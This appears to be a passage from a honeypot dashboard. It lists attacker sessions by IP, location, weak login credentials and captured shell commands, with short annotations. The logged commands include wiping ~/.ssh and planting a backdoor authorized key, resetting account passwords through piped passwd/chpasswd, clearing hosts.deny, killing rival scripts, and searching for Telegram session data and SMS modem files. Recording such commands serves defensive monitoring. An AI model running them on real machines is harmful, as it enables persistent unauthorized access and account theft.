"ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×43

$ uname -s -v -n -m 2 > /dev/null ×43

$ uname -m 2 > /dev/null ×43

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×43

🎭 rogue_stroopwafel_sol (176.65.139.248) — Eygelshoven, The Netherlands · 62 sessions · 62 cmds

2026-06-17 12:32 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×62

🎭 hollow_gouda_sol (80.94.92.171) — Amsterdam, The Netherlands · 64 sessions · 64 cmds

2026-05-08 07:36 EDT · as sol/123, sol/sol, ubuntu/ubuntu

Ran uname 176x across 176 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×64

↳ obfuscated system check

🎭 rusty_dragon_root (8.138.104.235) — Guangzhou, China · 16 sessions · 16 cmds

2026-06-22 23:44 EDT · as admin/admin, deploy/deploy, deploy/deploy123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×16

🎭 feral_stein_root (77.110.107.31) — Frankfurt am Main, Germany · 1 session · 19 cmds

2026-06-22 23:15 EDT · as root/pass123

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:sRbhrPYMaP8s"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jittery_k-pop_sol (211.228.218.47) — Dong-gu, South Korea · 1 session · 20 cmds

2026-06-22 21:43 EDT · as sol/123456

chattr/lockr hardening → SSH key regeneration → passwd brute-force injection → CPU model enumeration via /proc/cpuinfo → memory audit via free → binary inspection of ls → crontab check → w user list → architecture detection via uname → final CPU count verification → top process monitoring

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "123456\nTf7tVWhXR0CK\nTf7tVWhXR0CK"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nTf7tVWhXR0CK\nTf7tVWhXR0CK\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 brisk_silk_root (210.16.168.11) — Beijing, China · 1 session · 2 cmds

2026-06-22 21:32 EDT · as oracle/Admin123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 venomous_clog_root (45.156.87.13) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-22 19:18 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 wired_phantom_root (91.92.40.151) — Varna, Bulgaria · 31 sessions · 31 cmds

2026-06-22 16:57 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 weary_stroopwafel_root (176.65.139.181) — Eygelshoven, The Netherlands · 3 sessions · 3 cmds

2026-06-21 10:58 EDT · as root/123456, root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 crimson_chateau_root_232 (51.75.247.232) — Roubaix, France · 1 session · 2 cmds

2026-06-22 15:24 EDT · as oracle/oracle@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 glitchy_windmill_root (52.233.193.61) — Amsterdam, Netherlands · 1 session · 2 cmds

2026-06-22 14:53 EDT · as oracle/oracle@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 brisk_gouda_root (176.65.132.129) — Eygelshoven, The Netherlands · 128 sessions · 128 cmds

2026-05-16 07:57 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 35x across 35 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×128

🎭 jittery_echo_root (91.92.40.231) — Varna, Bulgaria · 3 sessions · 12 cmds

2026-06-22 13:30 EDT · as admin/123456, admin/admin123, admin/password

export → uname → cat

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×3

$ uname -s -v -n -m 2 > /dev/null ×3

$ uname -m 2 > /dev/null ×3

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×3

🎭 ironclad_dutch_sol (80.94.92.184) — Amsterdam, The Netherlands · 37 sessions · 37 cmds

2026-05-08 06:37 EDT · as sol/123456, sol/sol, solana/solana

Ran uname 111x across 111 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×37

↳ obfuscated system check

🎭 weary_batik_root (8.215.85.137) — Jakarta, Indonesia · 1 session · 1 cmd

2026-06-22 10:08 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 derelict_specter_sol (91.92.40.48) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-22 05:03 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 zealous_clog_root (176.65.139.215) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-22 04:30 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 vapor_jade_13 (8.148.228.13) — Guangzhou, China · 1 session · 1 cmd

2026-06-22 04:12 EDT · as test/test

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 vapor_cossack_root (159.224.132.77) — Kyiv, Ukraine · 1 session · 9 cmds

2026-06-22 03:48 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 feral_cipher_root (197.243.14.52) — Kigali, Rwanda · 1 session · 20 cmds

2026-06-22 00:40 EDT · as admin/asdf1234

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa..." → cat /proc/cpuinfo | grep name | wc -l → echo "asdf1234\nBCLy8cisyi8u"|passwd|bash → Enter new UNIX password: → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "asdf1234\nBCLy8cisyi8u\nBCLy8cisyi8u"|passwd|bash

$ Enter new UNIX password:

$ echo "asdf1234\nBCLy8cisyi8u\nBCLy8cisyi8u\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 jittery_gouda_sol (80.94.92.182) — Amsterdam, The Netherlands · 40 sessions · 40 cmds

2026-05-19 12:09 EDT · as firedancer/firedancer, raydium/raydium, sol/123

Ran uname 58x across 58 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×40

↳ obfuscated system check

🎭 lurking_stein_root (104.238.177.164) — Frankfurt am Main, Germany · 1 session · 20 cmds

2026-06-21 23:43 EDT · as oracle/welcome123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "welcome123\n1qYzLS8AwEXz\n1qYzLS8AwEXz"|passwd|bash

$ Enter new UNIX password:

$ echo "welcome123\n1qYzLS8AwEXz\n1qYzLS8AwEXz\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 derelict_kimchi_root (112.216.108.62) — Yongin-si, South Korea · 1 session · 2 cmds

2026-06-21 23:18 EDT · as oracle/Passw0rd@123

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 haywire_volcano_root (34.128.111.153) — Jakarta, Indonesia · 12 sessions · 12 cmds

2026-06-21 22:31 EDT · as admin/123456, admin/admin, admin/password

echo (repeated echo 12x)

$ echo SHELL_TEST ×12

🎭 crimson_jeepney_root (8.220.180.66) — Manila, Philippines · 1 session · 1 cmd

2026-06-21 21:57 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 savage_tulip_sol (91.92.42.7) — Amsterdam, The Netherlands · 28 sessions · 28 cmds

2026-06-21 17:01 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×28

🎭 vapor_silk (47.104.241.152) — Qingdao, China · 1 session · 1 cmd

2026-06-21 10:40 EDT · as user/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 savage_lantern_root_1 (47.104.232.1) — Qingdao, China · 1 session · 1 cmd

2026-06-21 10:23 EDT · as pi/pi

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 savage_dutch_sol (80.94.92.168) — Amsterdam, The Netherlands · 30 sessions · 30 cmds

2026-05-07 04:36 EDT · as solana/solana

Ran uname 76x across 76 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×30

↳ obfuscated system check

🎭 silent_nomad_root (45.15.226.44) — Chisinau, Moldova · 1 session · 9 cmds

2026-06-21 05:49 EDT · as root/root

/root login via root/root → network interface audit (ifconfig) → OS fingerprinting (uname -a, /proc/cpuinfo) → cryptomining scan (ps grep miner) → Telegram data directory enumeration (/home/*/.local/share/TelegramDesktop/tdata) → failed device locate attempt (D877F783D5D3EF8Cs) → benign echo output

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 zealous_peak_root (103.116.247.163) — Sheung Wan, Hong Kong · 1 session · 1 cmd

2026-06-21 02:27 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 placid_beefeater_root (8.208.16.103) — London, United Kingdom · 1 session · 1 cmd

2026-06-20 23:51 EDT · as admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 obsidian_peak_root (119.28.9.170) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-06-20 23:33 EDT · as ubuntu/password

cd ~; chattr -ia .ssh → rm -rf .ssh → mkdir .ssh → echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" → cat /proc/cpuinfo | grep name | wc -l → echo -e "password\n8

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\n8tbPTgIRUGFy\n8tbPTgIRUGFy"|passwd|bash

$ Enter new UNIX password:

$ echo "password\n8tbPTgIRUGFy\n8tbPTgIRUGFy\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wily_panda_root_204 (39.105.26.204) — Beijing, China · 1 session · 1 cmd

2026-06-20 23:05 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 scrappy_shogun_root (43.165.186.97) — Tokyo, Japan · 2 sessions · 2 cmds

2026-05-16 01:22 EDT · as admin/admin, root/12345678

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 aloof_stroopwafel_root (176.65.132.24) — Eygelshoven, The Netherlands · 97 sessions · 97 cmds

2026-05-14 00:58 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 35x across 35 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×97

🎭 manic_clog_root (45.156.87.254) — Eygelshoven, The Netherlands · 62 sessions · 62 cmds

2026-06-13 02:49 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×62

🎭 midnight_jade_root_57 (106.53.88.57) — Guangzhou, China · 1 session · 1 cmd

2026-06-20 20:21 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 murky_dimsum (103.49.62.60) — Kwun Tong, Hong Kong · 2 sessions · 2 cmds

2026-05-10 18:14 EDT · as guest/guest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 wired_llanero_root (200.71.154.142) — Caracas, Venezuela · 3 sessions · 27 cmds

2026-06-20 14:58 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print ×3

$ ifconfig ×3

↳ network mapping

$ uname -a ×3

↳ OS/kernel identification

$ cat /proc/cpuinfo ×3

↳ CPU profiling

$ ps | grep '[Mm]iner' ×3

$ ps -ef | grep '[Mm]iner' ×3

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ×3

$ locate D877F783D5D3EF8Cs ×3

$ echo Hi | cat -n ×3

🎭 brazen_hawker_db (43.160.237.65) — Singapore, Singapore · 1 session · 1 cmd

2026-06-20 14:56 EDT · as oracle/oracle

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 stoic_lantern_root (119.23.73.148) — Shenzhen, China · 1 session · 1 cmd

2026-06-20 14:47 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 wily_blitz_root_224 (64.226.126.224) — Frankfurt am Main, Germany · 1 session · 9 cmds

2026-06-20 12:01 EDT · as root/root

network mapping → OS/kernel identification → CPU profiling

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 grumpy_phantom_root (91.92.40.5) — Varna, Bulgaria · 19 sessions · 76 cmds

2026-06-20 07:58 EDT · as admin/123456, admin/admin, admin/password

export → uname → cat

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×19

$ uname -s -v -n -m 2 > /dev/null ×19

$ uname -m 2 > /dev/null ×19

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×19

🎭 sullen_star_root (141.11.88.5) — Crugers, United States · 27 sessions · 27 cmds

2026-06-20 07:52 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

